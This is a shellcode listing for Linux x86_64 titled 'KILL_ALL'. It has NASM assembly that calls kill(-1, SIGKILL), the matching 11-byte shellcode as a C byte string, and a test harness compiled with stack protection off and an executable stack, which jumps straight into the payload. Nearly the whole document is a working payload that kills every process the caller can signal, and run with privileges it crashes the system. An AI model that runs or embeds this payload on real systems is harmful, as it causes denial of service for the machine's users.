/*
;Title: Linux/x86_64 - KILL_ALL
;Author: Aron Mihaljevic
;Architecture: Linux x86_64
;Shellcode Length:  11 bytes
========DESCTIPTION===========================
      #include <sys/types.h>
      #include <signal.h>
        int kill(pid_t pid, int sig); 
===COMPILATION AND EXECUTION==================
#nasm -f elf64 kill.nasm -o kill.o
#ld kill.o -o kill
=================SHELLCODE================
global _start
section .text
_start:
    
	    
	push 	0x3e		; sys kill
	pop  	rax
	push 	-1 			; pid
	pop		rdi
	push	0x9			; sig kill
	pop 	rsi
	syscall
====================FOR C Compile===========================
# gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing
*/
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x3e\x58\x6a\xff\x5f\x6a\x09\x5e\x0f\x05";
main()
{
printf("Shellcode Length:  %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}